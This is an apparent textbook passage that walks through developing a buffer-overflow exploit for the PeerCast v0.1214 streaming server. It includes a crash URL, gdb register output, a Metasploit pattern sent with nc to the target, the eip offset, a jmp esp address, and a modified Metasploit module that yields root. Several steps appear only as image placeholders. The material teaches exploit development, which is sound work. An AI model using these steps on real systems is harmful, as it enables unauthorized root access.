In this real-world example, we are going to look at the PeerCast v0.1214 server from http://peercast.org. This server is widely used to serve up radio stations on the Internet. There are several vulnerabilities in this application. We will focus on the 2006 advisory www.infigo.hr/in_focus/INFIGO-2006-03-01, which describes a buffer overflow in the v0.1214 URL string. It turns out that if you attach a debugger to the server and send the server a URL that looks like this:


   http://localhost:7144/stream/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....(800)

your debugger should break as follows:


   gdb output...
   [Switching to Thread 180236 (LWP 4526)]
   0x41414141 in ?? ()
   (gdb) i r eip
   eip            0x41414141        0x41414141
   (gdb)

As you can see, we have a classic buffer overflow and have total control of eip. Now that we have accomplished the first step of the exploit development process, let’s move to the next step.

Determine the Offset(s)

With control of eip, we need to find out exactly how many characters it took to cleanly overwrite eip (and nothing more). The easiest way to do this is with Metasploit’s pattern tools.

First, let’s start the PeerCast v0.1214 server and attach our debugger with the following commands:


   #./peercast &
   [1] 10794
   #netstat –pan |grep 7144
   tcp    0      0 0.0.0.:7144    0.0.0.0:*    LISTEN    10794/peercast

As you can see, the process ID (PID) in our case was 10794; yours will be different. Now we can attach to the process with gdb and tell gdb to follow all child processes:


   #gdb –q
   (gdb) set follow-fork-mode child
   (gdb)attach 10794
   ---Output omitted for brevity---

Image

Next, we can use Metasploit to create a large pattern of characters and feed it to the PeerCast server using the following perl command from within a Metasploit Framework Cygwin shell. For this example, we chose to use a Windows attack system running Metasploit 2.6.


   ~/framework/lib
   $ perl –e 'use Pex; print Pex::Text::PatternCreate(1010)'

Image

On your Windows attack system, open Notepad and save a file called peercast.sh in the program files/metasploit framework/home/framework/ directory.

Paste in the preceding pattern you created and the following wrapper commands, like this:


   perl -e 'print "GET /stream/?Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5
   Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
   1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A
   g7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2
   Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al
   8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3A
   o4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9
   Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At
   5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0A
   w1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6
   Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb
   2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7B
   d8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3
   Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh
   r ";' |nc 10.10.10.151 7144

Be sure to remove all hard carriage returns from the ends of each line. Make the peercast.sh file executable, within your Metasploit Cygwin shell:


   $ chmod 755 ../peercast.sh

Execute the peercast.sh attack script:


   $ ../peercast.sh

As expected, when we run the attack script, our server crashes:

Image

The debugger breaks with eip set to 0x42306142 and esp set to 0x61423161. Using Metasploit’s patternOffset.pl tool, we can determine where in the pattern we overwrote eip and esp:

Image

Determine the Attack Vector

As can be seen in the last step, when the program crashed, the overwritten esp value was exactly 4 bytes after the overwritten eip. Therefore, if we fill the attack buffer with 780 bytes of junk and then place 4 bytes to overwrite eip, we can then place our shell-code at this point and have access to it in esp when the program crashes, because the value of esp matches the value of our buffer at exactly 4 bytes after eip (784). Each exploit is different, but in this case, all we have to do is find an assembly opcode that says “jmp esp.” If we place the address of that opcode after 780 bytes of junk, the program will continue executing that opcode when it crashes. At that point, our shellcode will be jumped into and executed. This staging and execution technique will serve as our attack vector for this exploit.

Image

To find the location of such an opcode in an ELF (Linux) file, you may use Meta-sploit’s msfelfscan tool:

Image

As you can see, the “jmp esp” opcode exists in several locations in the file. You cannot use an opcode that contains a “00” byte, which rules out the third one. For no particular reason, we will use the second one: 0x0808ff97.


Image

NOTE

This opcode attack vector is not subject to stack randomization and is therefore a useful technique around that kernel defense.


Build the Exploit Sandwich

We could build our exploit sandwich from scratch, but it is worth noting that Meta-sploit has a module for PeerCast v0.1212. All we need to do is modify the module to add our newly found opcode (0x0808ff97) for PeerCast v0.1214 and set the default target to that new value:

Image

Test the Exploit

Restart the Metasploit console and load the new PeerCast module to test it:

Image

Woot! It worked! After setting some basic options and exploiting, we gained root, dumped “id,” and then proceeded to show the top of the /etc/password file.

References

Metasploit Conference Materials (Rapid7) www.metasploit.com/research/conferences

Metasploit Unleashed online course (David Kennedy et al.) www.offensive-security.com/metasploit-unleashed/

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.21.43.26